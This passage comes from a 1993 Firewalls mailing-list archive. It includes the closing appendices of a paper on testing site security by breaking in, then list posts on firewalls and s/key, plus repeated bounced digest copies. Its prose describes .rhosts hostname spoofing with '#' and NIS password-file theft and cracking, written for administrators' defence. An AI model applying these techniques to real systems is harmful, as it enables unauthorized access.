weakness. Adding further test programs is as simple as putting an executable into the main directory with the extension ".sat"; the driver program will automatically execute it. The driver generates a set of targets (using DNS and a fast version of ping together to get "live" targets), and then executes each of the programs over each of the targets. A data filtering/interpreting program then analyzes the output, and lastly a reporting program digests everything into a more readable format. The entire package, including source code and documentation, will be made freely available to the public, via anonymous ftp and by posting it to one of the numerous source code groups on the Usenet. ---- Appendix B: An informal survey conducted on about a dozen Internet sites (educational, military, and commercial, with over 200 hosts and 40000 accounts) revealed that on the average, close to 10 percent of a site's accounts had .rhosts files. These files averaged six trusted hosts each; however, it was not uncommon to have well over one hundred entries in an account's .rhosts file, and on a few occasions, the number was over five hundred! (This is not a record one should be proud of owning.) In addition, _every_ site directly on the internet (one site was mostly behind a firewall) trusted a user or host at another site -- thus, the security of the site was not under the system administrators direct control. The larger sites, with more users and hosts, had a lower percentage of users with .rhosts files, but the size of .rhosts files increased, as well as the number of trusted off-site hosts. Although it was very difficult to verify how many of the entries were valid, with such hostnames such as "Makefile", "Message-Id:", and "^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we question the wisdom of putting a site's security in the hands of its users. Many users (especially the ones with larger .rhosts files) attempted to put shell-style comments in their .rhosts files, which most UNIX systems attempt to resolve as valid host names. Unfortunately, an attacker can then use the DNS and NIS hostname spoofing techniques discussed earlier to set their hostname to "#" and freely log in. This puts a great many sites at risk (at least one major vendor ships their systems with comments in their /etc/hosts.equiv files.) You might think that these sites were not typical, and, as a matter of fact, they weren't. Virtually all of the administrators knew a great deal about security and write security programs for a hobby or profession, and many of the sites that they worked for did either security research or created security products. We can only guess at what a "typical" site might look like. ---- Appendix C: After receiving mail from a site that had been broken into from one of our systems, an investigation was started. In time, we found that the intruder was working from a list of ".com" (commercial) sites, looking for hosts with easy-to steal password files. In this case, "easy-to-steal" referred to sites with a guessable NIS domainname and an accessible NIS server. Not knowing how far the intruder had gotten, it looked like a good idea to warn the sites that were in fact vulnerable to password file theft. Of the 656 hosts in the intruder's hit list, 24 had easy-to-steal password files -- about one in twenty-five hosts! One third of these files contained at least one password-less account with an interactive shell. With a grand total of 1594 password-file entries, a ten-minute run of a publically-available password cracker (Crack) revealed more than 50 passwords, using nothing but a low-end Sun workstation. Another 40 passwords were found within the next 20 minutes; and a root password was found in just over an hour. The result after a few days of cracking: five root passwords found, 19 out of 24 password files (eighty percent) with at least one known password, and 259 of 1594 (one in six) passwords guessed. ---- Appendix D: How to get some free security resources on the Internet Mailing lists: o The CERT (Computer Emergency Response Team) advisory mailing list. Send e-mail to cert@cert.org, and ask to be placed on their mailing list. o The Phrack newsletter. Send an e-mail message to phrack@well.sf.ca.us and ask to be added to the list. o The Firewalls mailing list. Send the following line to majordomo@greatcircle.com: subscribe firewalls o Computer Underground Digest. Send e-mail to tk0jut2@mvs.cso.niu.edu, asking to be placed on the list. Free Software: COPS (Computer Oracle and Password System) is available via anonymous ftp from archive.cis.ohio-state.edu, in pub/cops/1.04+. The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl, in pub/security. The latest version of berkeley sendmail is available via anonymous ftp from ftp.cs.berkeley.edu, in ucb/sendmail. Sources for ftpd and many other network utilities can be found in ftp.uu.net, in packages/bsd-sources. Source for ISS (Internet Security Scanner), a tool that remotely scans for various network vulnerabilities, is available via anonymous ftp from ftp.uu.net, in usenet/comp.sources.misc/volume40/iss. Securelib is available via anonymous ftp from ftp.uu.net, in usenet/comp.sources.misc/volume36/securelib. ---- Bibliography: Baldwin, Robert W., Rule Based Analysis of Computer Security, Massachusetts Institute of Technology, June 1987. Bellovin, Steve, Using the Domain Name System for System Break-ins, 1992 (unpublished). Massachusetts Institute of Technology, X Window System Protocol, Version 11, 1990. Shimomura, Tsutomu, private communication. Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992. ---- Suggested reading: Bellovin, Steve -- "Security Problms in the TCP/IP Protocol Suite", Computer Communication Review 19 (2), 1989; a comment by Stephen Kent appears in volume 19 (3), 1989. Garfinkle, Simson and Spafford, Gene, "Practical UNIX Security", O'Reilly and Associates, Inc., 1992. Hess, David, Safford, David, and Pooch, Udo, "A UNIX Network Protocol Study: Network Information Service", Computer Communication Review 22 (5) 1992. Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume Four, Issue Forty-Three, File 14 of 27. Ranum, Marcus, "Firewalls" internet electronic mailing list, Sept 1993. Schuba, Christoph, "Addressing Weaknesses in the Domain Name System Protocal", Purdue University, August 1993. Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM 27 (8), 1984. From Firewalls-Owner@GreatCircle.COM Thu Dec 2 05:57:11 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA01362; Thu, 2 Dec 93 05:57:11 GMT Received: from eden-valley.aaii.oz.AU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA01355; Wed, 1 Dec 93 21:56:59 PST Received: from alamein (alamein.aaii.oz.AU) by eden-valley.aaii.oz.AU with SMTP (5.65c/SMI-4.0/AAII) id AA05083; Thu, 2 Dec 1993 16:56:37 +1100 Received: from [Family 1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00] ([Family 1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00]) by alamein (8.5/8.5-AAII) with SMTP id QAA10756; Thu, 2 Dec 1993 16:56:05 +1100 Message-Id: <199312020556.QAA10756@alamein> X-Authentication-Warning: alamein: Host [Family 1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00] didn't use HELO protocol X-Authentication-Warning: alamein: anthony owned process doing -bs To: Dan Cc: firewalls@greatcircle.com From: anthony baxter Subject: Re: system administrators guide to cracking In-Reply-To: Message from Dan of 1993-Dec-1 19:48:45, <9312020348.AA01803@death.corp.sun.com.corp.sun.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Thu, 02 Dec 1993 16:56:03 +1100 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Dan wrote: > > (Posted to various newsgroups as well; of firewall interest.) > > ============================================== > > _Improving the Security of Your Site by Breaking Into it_ Thanks for this Dan and Wietse - but if anyone out there wants to argue about whether or not this document should exist, or should have been posted, could they please please do it somewhere other than firewalls? Anthony, attempting to stop any flame-wars before they start. From Firewalls-Owner@GreatCircle.COM Thu Dec 2 06:00:41 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA01418; Thu, 2 Dec 93 06:00:41 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA01395; Wed, 1 Dec 93 21:59:58 PST Message-Id: <9312020559.AA01395@mycroft.GreatCircle.COM> To: anthony baxter Cc: Dan , firewalls@greatcircle.com Subject: Re: system administrators guide to cracking In-Reply-To: Your message of Thu, 02 Dec 1993 16:56:03 +1100 Date: Wed, 01 Dec 1993 21:59:56 -0800 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk anthony baxter writes: # Dan wrote: # > # > (Posted to various newsgroups as well; of firewall interest.) # > # > ============================================== # > # > _Improving the Security of Your Site by Breaking Into it_ # # # Thanks for this Dan and Wietse - but if anyone out there wants to argue # about whether or not this document should exist, or should have been # posted, could they please please do it somewhere other than firewalls? # # Anthony, attempting to stop any flame-wars before they start. I'll concur with that. If you've got something to say about the document, say it to Dan and Wietse directly; if you feel you must, Cc me; but PLEASE don't involve the whole Firewalls list. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner@GreatCircle.COM Fri Dec 3 14:05:20 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07031; Fri, 3 Dec 93 14:05:20 GMT Received: from gpu.utcc.utoronto.ca by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07024; Fri, 3 Dec 93 06:05:12 PST Received: by gpu.utcc.utoronto.ca id <18904>; Fri, 3 Dec 1993 09:05:29 -0500 From: Tom Molnar To: firewalls@greatcircle.com Subject: SAP R/3 thru a firewall Message-Id: <93Dec3.090529est.18904@gpu.utcc.utoronto.ca> Date: Fri, 3 Dec 1993 09:05:01 -0500 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Does anyone out subscribed to this list run SAP's R/3 software through a firewall that does more than IP address authentication? We'd like to incorporate a challenge-response mechanism using single-use passwords. We're considering using the TIS fwtk along with Bellcore's s/key and Security Dynamics Securid-ID s/w+cards (can't seem to figure out how to use s/key on a MVS machine). One group of users will be running the SAP R/3 application behind our firewall. SAP R/3 consists of a huge suit of business oriented application programs. R/3 users are authenicated within the application, bypassing UNIX login. Trouble is, it's a static password that crosses the net in cleartext. We're talking to SAP, but they don't have a lot of experience with this sort of thing. So I'm wondering if anyone out there has faced this yet, with R/3 or the like. We're planning on running other applications behind the firewall as well, but because the users have to login first, handling them is easy. R/3 is the exception. Well, we may be faced with doing something with SQL-net as well. We're scratching our heads over SAP R/3. Users run a custom application, SAP/TEMU (a special terminal emulator running on a PC) that connects to a daemon on an application server. The ports used are within a specific range (3200 + instance#). Thanks, Tom From Firewalls-Owner@GreatCircle.COM Fri Dec 3 21:45:06 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA09411; Fri, 3 Dec 93 21:45:06 GMT Received: from openlink.openlink.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA09402; Fri, 3 Dec 93 13:44:56 PST Received: from autodesk.UUCP by openlink.openlink.com with UUCP id AA23624 (5.67a/IDA-1.5 for firewalls@GreatCircle.COM); Fri, 3 Dec 1993 13:46:37 -0800 Received: from wasabi.autodesk.com by autodesk.com (4.1/MADMAX-RED-CUCCIA) id AA18674; Fri, 3 Dec 93 12:24:09 PST Received: by wasabi.autodesk.com (4.1/SMI-4.1) id AA02942; Fri, 3 Dec 93 12:24:08 PST From: zaphod@autodesk.com (Kris Zaphod Kahn x2846) Message-Id: <9312032024.AA02942@wasabi.autodesk.com> Subject: looking for a PC serial capture program To: firewalls@GreatCircle.COM Date: Fri, 3 Dec 1993 12:24:07 -0800 (PST) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 2129 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk DOS hackers et al, I am putting together a bastion host, dual router firewall configuration. Here's the familiar diagram: ____________________ ____________________ / \ / \ | Internal Network | | The Internet | \_________ __________/ \_________ __________/ V V _________|__________ _________|__________ | | | | | Internal Router | | External Router | |_________ __________| |_________ __________| | [Perimeter Network] | |-------------------------------------------------------| ______|______ ______|______ | | | | | Unix | serial | PC ftp & | | Proxy Server|:::::::::::| logger | |_____________| link |_____________| (Serial port A on the bastion host connected with a DB25->DB9 cable & adapter to the COM1/serial port on the PC.) The bastion host will be sending syslog messages to an internal loghost, but for the sake of redundancy and security, I am planning on setting up a mindless PC dedicated to running an ftp server program and queuing up logs from the Unix host. The part which I do not have is the software for the PC to capture log information from com1 to a file. Are there any current DOS hacks already out there so I don't have to remake the wheel? Any help/pointers/etc. is appreciated. Thanks, _____ _ _______ ____________ WHO: Kris Allan Kahn zaphod@autodesk.com _____ /__ / /_\ | \ |_| / __ \ __ \WHAT: UNIX Systems Programmer/Net-Sleuth \ __\ / /_//_\\| __/ _ \ \/ / |/ /WHERE: Autodesk, Inc. 2320 Marinship Way__\ \ /_____/_\\\_| |_| |_|\__/|___/ Sausalito, CA 94965 (415) 332-2344 x2846\____\ From Firewalls-Owner@GreatCircle.COM Tue Dec 7 15:43:06 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07024; Tue, 7 Dec 93 15:43:06 GMT Received: from ICDC.LLNL.GOV by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07017; Tue, 7 Dec 93 07:42:48 PST Received: from engmail.llnl.gov by icdc.llnl.gov (PMDF #3384 ) id <01H66V6TOG6890N04I@icdc.llnl.gov>; Tue, 7 Dec 1993 07:40:39 PST Date: 01 Dec 1993 07:33:22 +0000 (U) From: ENGMAIL Subject: Rejected by Custodian, plea To: "Firewalls-Digest@greatcircle.co" Message-Id: <01H66V6TPIR690N04I@icdc.llnl.gov> X-Envelope-To: Firewalls@greatcircle.COM Content-Transfer-Encoding: 7BIT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Mail*Link(r) SMTP Firewalls Digest V2 #259 Firewalls Digest Wednesday, 1 December 1993 Volume 02 : Number 259 In this issue: Re: TIS authsrv and s/key Please add Re: TIS authsrv and s/key See the end of the digest for information on subscribing to the Firewalls or Firewalls-Digest mailing lists and on how to retrieve back issues. ---------------------------------------------------------------------- From: "R.F. Graveman" Date: Tue, 30 Nov 1993 07:07:17 -0500 Subject: Re: TIS authsrv and s/key > I am playing with the TIS toolkit and have come across something I wouldn't > have done that way and am therefore tempted to change. I'd like to hear > from the list why they think I should leave well alone (or not :-). > > Password changing on s/key. This requires the user to enter the "secret" > password, the one part of the s/key stuff which is normally never leaves > the user's local system. I would like to change it so that the user enters > the three non-secrets when resetting the password, ie the new sequence > number, seed and the resulting s/key. This option is available in the version I use (I believe it's a -s). Hence, we thought your idea was a good one, too. The code should be available from thumper.bellcore.com. Also, there exists an s-key mailing list (sign up at: skey-users-request@thumper.bellcore.com) Rich Graveman Bellcore voice: 908 699-4611 fax: 908 336-2943 ------------------------------ From: sfrazier@fmrco.com (Scott Frazier) Date: Tue, 30 Nov 93 07:13:28 EST Subject: Please add Please add "sfrazier@fmrco.com" to the firewalls mailing list. -S. Scott Frazier I-Kinetics, Inc. Systems Engineer 19 Bishop Allen Drive (617) 661-8181 x252 Cambridge, MA. 02139 (617) 570-4587 sfrazier@i-kinetics.com ------------------------------ From: alastair@cadence.com (Alastair Young) Date: Tue, 30 Nov 1993 09:54:16 -0800 Subject: Re: TIS authsrv and s/key >> I am playing with the TIS toolkit and have come across something I wouldn't >> have done that way and am therefore tempted to change. I'd like to hear >> from the list why they think I should leave well alone (or not :-). >> >> Password changing on s/key. This requires the user to enter the "secret" >> password, the one part of the s/key stuff which is normally never leaves >> the user's local system. I would like to change it so that the user enters >> the three non-secrets when resetting the password, ie the new sequence >> number, seed and the resulting s/key. > >This option is available in the version I use (I believe it's a -s). >Hence, we thought your idea was a good one, too. Yes, if you are using the keyinit program directly. I was referring to password changing via the TIS authsrv autentication server. It is linked to the s/key library and allows password changing but only in the "insecure" form. Al - --------------------------------------------------------------------------- Alastair Young _ Ariel NH Cadence Design Systems, Information Services )/___ _ Red Hunter 555 River Oaks Parkway, 4B1 __/(___)_*##/c San Jose CA 95134 Fax: (408)894-3487 / /\\|| \ / \ Brakes'n'lites alastair@cadence.com (408)428-5278 \__/ ----'\__/ novel eh? - --------------------------------------------------------------------------- These statements and opinions are mine, not those of Cadence Design Systems ------------------------------ End of Firewalls Digest V2 #259 ******************************* To subscribe to Firewalls-Digest, send the command: subscribe firewalls-digest in the body of a message to "Majordomo@GreatCircle.COM". If you want to subscribe something other than the account the mail is coming from, such as a local redistribution list, then append that address to the "subscribe" command; for example, to subscribe "local-firewalls": subscribe firewalls-digest local-firewalls@your.domain.net A non-digest (direct mail) version of this list is also available; to subscribe to that instead, replace all instances of "firewalls-digest" in the commands above with "firewalls". Compressed back issues are available for anonymous FTP from FTP.GreatCircle.COM, in pub/firewalls/digest/vNN.nMMM.Z (where "NN" is the volume number, and "MMM" is the issue number). ------------------ RFC822 Header Follows ------------------ Received: by engmail.llnl.gov with SMTP;1 Dec 1993 07:33:18 U Received: by pierce.llnl.gov (4.1/LLNL-1.18/llnl.gov-05.92) id AA24763; Wed, 1 Dec 93 01:08:01 PST Return-Path: Received: from cheetah.llnl.gov by pierce.llnl.gov (4.1/LLNL-1.18/llnl.gov-05.92) id AA24754; Wed, 1 Dec 93 01:07:57 PST Received: from relay1.UU.NET (relay1.UU.NET [192.48.96.5]) by cheetah.llnl.gov (8.6.4/8.6.4) with SMTP id BAA16967 for ; Wed, 1 Dec 1993 01:06:48 -0800 From: Firewalls-Digest-Owner@greatcircle.com Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA26981; Wed, 1 Dec 93 04:03:09 -0500 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26837; Wed, 1 Dec 93 09:00:16 GMT Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26821; Wed, 1 Dec 93 01:00:09 PST Date: Wed, 1 Dec 93 01:00:09 PST Message-Id: <9312010900.AA26821@mycroft.GreatCircle.COM> To: Firewalls-Digest@greatcircle.com Subject: Firewalls Digest V2 #259 Reply-To: Firewalls@greatcircle.com Sender: Firewalls-Digest-Owner@greatcircle.com Precedence: bulk From Firewalls-Owner@GreatCircle.COM Tue Dec 7 15:48:08 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07060; Tue, 7 Dec 93 15:48:08 GMT Received: from ICDC.LLNL.GOV by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07053; Tue, 7 Dec 93 07:47:55 PST Received: from engmail.llnl.gov by icdc.llnl.gov (PMDF #3384 ) id <01H66VG1G38G90N07T@icdc.llnl.gov>; Tue, 7 Dec 1993 07:48:05 PST Date: 01 Dec 1993 07:33:22 +0000 (U) From: ENGMAIL Subject: Rejected by Custodian, plea To: "Firewalls-Digest@greatcircle.co" Message-Id: <01H66VG1GW6A90N07T@icdc.llnl.gov> X-Envelope-To: Firewalls@greatcircle.COM Content-Transfer-Encoding: 7BIT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Mail*Link(r) SMTP Firewalls Digest V2 #259 Firewalls Digest Wednesday, 1 December 1993 Volume 02 : Number 259 In this issue: Re: TIS authsrv and s/key Please add Re: TIS authsrv and s/key See the end of the digest for information on subscribing to the Firewalls or Firewalls-Digest mailing lists and on how to retrieve back issues. ---------------------------------------------------------------------- From: "R.F. Graveman" Date: Tue, 30 Nov 1993 07:07:17 -0500 Subject: Re: TIS authsrv and s/key > I am playing with the TIS toolkit and have come across something I wouldn't > have done that way and am therefore tempted to change. I'd like to hear > from the list why they think I should leave well alone (or not :-). > > Password changing on s/key. This requires the user to enter the "secret" > password, the one part of the s/key stuff which is normally never leaves > the user's local system. I would like to change it so that the user enters > the three non-secrets when resetting the password, ie the new sequence > number, seed and the resulting s/key. This option is available in the version I use (I believe it's a -s). Hence, we thought your idea was a good one, too. The code should be available from thumper.bellcore.com. Also, there exists an s-key mailing list (sign up at: skey-users-request@thumper.bellcore.com) Rich Graveman Bellcore voice: 908 699-4611 fax: 908 336-2943 ------------------------------ From: sfrazier@fmrco.com (Scott Frazier) Date: Tue, 30 Nov 93 07:13:28 EST Subject: Please add Please add "sfrazier@fmrco.com" to the firewalls mailing list. -S. Scott Frazier I-Kinetics, Inc. Systems Engineer 19 Bishop Allen Drive (617) 661-8181 x252 Cambridge, MA. 02139 (617) 570-4587 sfrazier@i-kinetics.com ------------------------------ From: alastair@cadence.com (Alastair Young) Date: Tue, 30 Nov 1993 09:54:16 -0800 Subject: Re: TIS authsrv and s/key >> I am playing with the TIS toolkit and have come across something I wouldn't >> have done that way and am therefore tempted to change. I'd like to hear >> from the list why they think I should leave well alone (or not :-). >> >> Password changing on s/key. This requires the user to enter the "secret" >> password, the one part of the s/key stuff which is normally never leaves >> the user's local system. I would like to change it so that the user enters >> the three non-secrets when resetting the password, ie the new sequence >> number, seed and the resulting s/key. > >This option is available in the version I use (I believe it's a -s). >Hence, we thought your idea was a good one, too. Yes, if you are using the keyinit program directly. I was referring to password changing via the TIS authsrv autentication server. It is linked to the s/key library and allows password changing but only in the "insecure" form. Al - --------------------------------------------------------------------------- Alastair Young _ Ariel NH Cadence Design Systems, Information Services )/___ _ Red Hunter 555 River Oaks Parkway, 4B1 __/(___)_*##/c San Jose CA 95134 Fax: (408)894-3487 / /\\|| \ / \ Brakes'n'lites alastair@cadence.com (408)428-5278 \__/ ----'\__/ novel eh? - --------------------------------------------------------------------------- These statements and opinions are mine, not those of Cadence Design Systems ------------------------------ End of Firewalls Digest V2 #259 ******************************* To subscribe to Firewalls-Digest, send the command: subscribe firewalls-digest in the body of a message to "Majordomo@GreatCircle.COM". If you want to subscribe something other than the account the mail is coming from, such as a local redistribution list, then append that address to the "subscribe" command; for example, to subscribe "local-firewalls": subscribe firewalls-digest local-firewalls@your.domain.net A non-digest (direct mail) version of this list is also available; to subscribe to that instead, replace all instances of "firewalls-digest" in the commands above with "firewalls". Compressed back issues are available for anonymous FTP from FTP.GreatCircle.COM, in pub/firewalls/digest/vNN.nMMM.Z (where "NN" is the volume number, and "MMM" is the issue number). ------------------ RFC822 Header Follows ------------------ Received: by engmail.llnl.gov with SMTP;1 Dec 1993 07:33:18 U Received: by pierce.llnl.gov (4.1/LLNL-1.18/llnl.gov-05.92) id AA24763; Wed, 1 Dec 93 01:08:01 PST Return-Path: Received: from cheetah.llnl.gov by pierce.llnl.gov (4.1/LLNL-1.18/llnl.gov-05.92) id AA24754; Wed, 1 Dec 93 01:07:57 PST Received: from relay1.UU.NET (relay1.UU.NET [192.48.96.5]) by cheetah.llnl.gov (8.6.4/8.6.4) with SMTP id BAA16967 for ; Wed, 1 Dec 1993 01:06:48 -0800 From: Firewalls-Digest-Owner@greatcircle.com Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA26981; Wed, 1 Dec 93 04:03:09 -0500 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26837; Wed, 1 Dec 93 09:00:16 GMT Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26821; Wed, 1 Dec 93 01:00:09 PST Date: Wed, 1 Dec 93 01:00:09 PST Message-Id: <9312010900.AA26821@mycroft.GreatCircle.COM> To: Firewalls-Digest@greatcircle.com Subject: Firewalls Digest V2 #259 Reply-To: Firewalls@greatcircle.com Sender: Firewalls-Digest-Owner@greatcircle.com Precedence: bulk From Firewalls-Owner@GreatCircle.COM Tue Dec 7 16:01:27 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07145; Tue, 7 Dec 93 16:01:27 GMT Received: from ICDC.LLNL.GOV by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07138; Tue, 7 Dec 93 08:01:12 PST Received: from engmail.llnl.gov by icdc.llnl.gov (PMDF #3384 ) id <01H66VVS2R3490N0D9@icdc.llnl.gov>; Tue, 7 Dec 1993 08:00:47 PST Date: 01 Dec 1993 07:33:22 +0000 (U) From: ENGMAIL Subject: Rejected by Custodian, plea To: "Firewalls-Digest@greatcircle.co" Message-Id: <01H66VVS3K0Y90N0D9@icdc.llnl.gov> X-Envelope-To: Firewalls@greatcircle.COM Content-Transfer-Encoding: 7BIT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Mail*Link(r) SMTP Firewalls Digest V2 #259 Firewalls Digest Wednesday, 1 December 1993 Volume 02 : Number 259 In this issue: Re: TIS authsrv and s/key Please add Re: TIS authsrv and s/key See the end of the digest for information on subscribing to the Firewalls or Firewalls-Digest mailing lists and on how to retrieve back issues. ---------------------------------------------------------------------- From: "R.F. Graveman" Date: Tue, 30 Nov 1993 07:07:17 -0500 Subject: Re: TIS authsrv and s/key > I am playing with the TIS toolkit and have come across something I wouldn't > have done that way and am therefore tempted to change. I'd like to hear > from the list why they think I should leave well alone (or not :-). > > Password changing on s/key. This requires the user to enter the "secret" > password, the one part of the s/key stuff which is normally never leaves > the user's local system. I would like to change it so that the user enters > the three non-secrets when resetting the password, ie the new sequence > number, seed and the resulting s/key. This option is available in the version I use (I believe it's a -s). Hence, we thought your idea was a good one, too. The code should be available from thumper.bellcore.com. Also, there exists an s-key mailing list (sign up at: skey-users-request@thumper.bellcore.com) Rich Graveman Bellcore voice: 908 699-4611 fax: 908 336-2943 ------------------------------ From: sfrazier@fmrco.com (Scott Frazier) Date: Tue, 30 Nov 93 07:13:28 EST Subject: Please add Please add "sfrazier@fmrco.com" to the firewalls mailing list. -S. Scott Frazier I-Kinetics, Inc. Systems Engineer 19 Bishop Allen Drive (617) 661-8181 x252 Cambridge, MA. 02139 (617) 570-4587 sfrazier@i-kinetics.com ------------------------------ From: alastair@cadence.com (Alastair Young) Date: Tue, 30 Nov 1993 09:54:16 -0800 Subject: Re: TIS authsrv and s/key >> I am playing with the TIS toolkit and have come across something I wouldn't >> have done that way and am therefore tempted to change. I'd like to hear >> from the list why they think I should leave well alone (or not :-). >> >> Password changing on s/key. This requires the user to enter the "secret" >> password, the one part of the s/key stuff which is normally never leaves >> the user's local system. I would like to change it so that the user enters >> the three non-secrets when resetting the password, ie the new sequence >> number, seed and the resulting s/key. > >This option is available in the version I use (I believe it's a -s). >Hence, we thought your idea was a good one, too. Yes, if you are using the keyinit program directly. I was referring to password changing via the TIS authsrv autentication server. It is linked to the s/key library and allows password changing but only in the "insecure" form. Al - --------------------------------------------------------------------------- Alastair Young _ Ariel NH Cadence Design Systems, Information Services )/___ _ Red Hunter 555 River Oaks Parkway, 4B1 __/(___)_*##/c San Jose CA 95134 Fax: (408)894-3487 / /\\|| \ / \ Brakes'n'lites alastair@cadence.com (408)428-5278 \__/ ----'\__/ novel eh? - --------------------------------------------------------------------------- These statements and opinions are mine, not those of Cadence Design Systems ------------------------------ End of Firewalls Digest V2 #259 ******************************* To subscribe to Firewalls-Digest, send the command: subscribe firewalls-digest in the body of a message to "Majordomo@GreatCircle.COM". If you want to subscribe something other than the account the mail is coming from, such as a local redistribution list, then append that address to the "subscribe" command; for example, to subscribe "local-firewalls": subscribe firewalls-digest local-firewalls@your.domain.net A non-digest (direct mail) version of this list is also available; to subscribe to that instead, replace all instances of "firewalls-digest" in the commands above with "firewalls". Compressed back issues are available for anonymous FTP from FTP.GreatCircle.COM, in pub/firewalls/digest/vNN.nMMM.Z (where "NN" is the volume number, and "MMM" is the issue number). ------------------ RFC822 Header Follows ------------------ Received: by engmail.llnl.gov with SMTP;1 Dec 1993 07:33:18 U Received: by pierce.llnl.gov (4.1/LLNL-1.18/llnl.gov-05.92) id AA24763; Wed, 1 Dec 93 01:08:01 PST Return-Path: Received: from cheetah.llnl.gov by pierce.llnl.gov (4.1/LLNL-1.18/llnl.gov-05.92) id AA24754; Wed, 1 Dec 93 01:07:57 PST Received: from relay1.UU.NET (relay1.UU.NET [192.48.96.5]) by cheetah.llnl.gov (8.6.4/8.6.4) with SMTP id BAA16967 for ; Wed, 1 Dec 1993 01:06:48 -0800 From: Firewalls-Digest-Owner@greatcircle.com Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA26981; Wed, 1 Dec 93 04:03:09 -0500 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26837; Wed, 1 Dec 93 09:00:16 GMT Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26821; Wed, 1 Dec 93 01:00:09 PST Date: Wed, 1 Dec 93 01:00:09 PST Message-Id: <9312010900.AA26821@mycroft.GreatCircle.COM> To: Firewalls-Digest@greatcircle.com Subject: Firewalls Digest V2 #259 Reply-To: Firewalls@greatcircle.com Sender: Firewalls-Digest-Owner@greatcircle.com Precedence: bulk From Firewalls-Owner@GreatCircle.COM Tue Dec 7 16:16:34 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07212; Tue, 7 Dec 93 16:16:34 GMT Received: from ICDC.LLNL.GOV by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA07204; Tue, 7 Dec 93 08:16:15 PST Received: from engmail.llnl.gov by icdc.llnl.gov (PMDF #3384 ) id <01H66WE9R9SG90N0IP@icdc.llnl.gov>; Tue, 7 Dec 1993 08:14:54 PST Date: 01 Dec 1993 07:33:22 +0000 (U) From: ENGMAIL Subject: Rejected by Custodian, plea To: "Firewalls-Digest@greatcircle.co" Message-Id: <01H66WE9S2QA90N0IP@icdc.llnl.gov> X-Envelope-To: Firewalls@greatcircle.COM Content-Transfer-Encoding: 7BIT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Mail*Link(r) SMTP Firewalls Digest V2 #259 Firewalls Digest Wednesday, 1 December 1993 Volume 02 : Number 259 In this issue: Re: TIS authsrv and s/key Please add Re: TIS authsrv and s/key See the end of the digest for information on subscribing to the Firewalls or Firewalls-Digest mailing lists and on how to retrieve back issues. ---------------------------------------------------------------------- From: "R.F. Graveman" Date: Tue, 30 Nov 1993 07:07:17 -0500 Subject: Re: TIS authsrv and s/key > I am playing with the TIS toolkit and have come across something I wouldn't > have done that way and am therefore tempted to change. I'd like to hear > from the list why they think I should leave well alone (or not :-). > > Password changing on s/key. This requires the user to enter the "secret" > password, the one part of the s/key stuff which is normally never leaves > the user's local system. I would like to change it so that the user enters > the three non-secrets when resetting the password, ie the new sequence > number, seed and the resulting s/key. This option is available in the version I use (I believe it's a -s). Hence, we thought your idea was a good one, too. The code should be available from thumper.bellcore.com. Also, there exists an s-key mailing list (sign up at: skey-users-request@thumper.bellcore.com) Rich Graveman Bellcore voice: 908 699-4611 fax: 908 336-2943 ------------------------------ From: sfrazier@fmrco.com (Scott Frazier) Date: Tue, 30 Nov 93 07:13:28 EST Subject: Please add Please add "sfrazier@fmrco.com" to the firewalls mailing list. -S. Scott Frazier I-Kinetics, Inc. Systems Engineer 19 Bishop Allen Drive (617) 661-8181 x252 Cambridge, MA. 02139 (617) 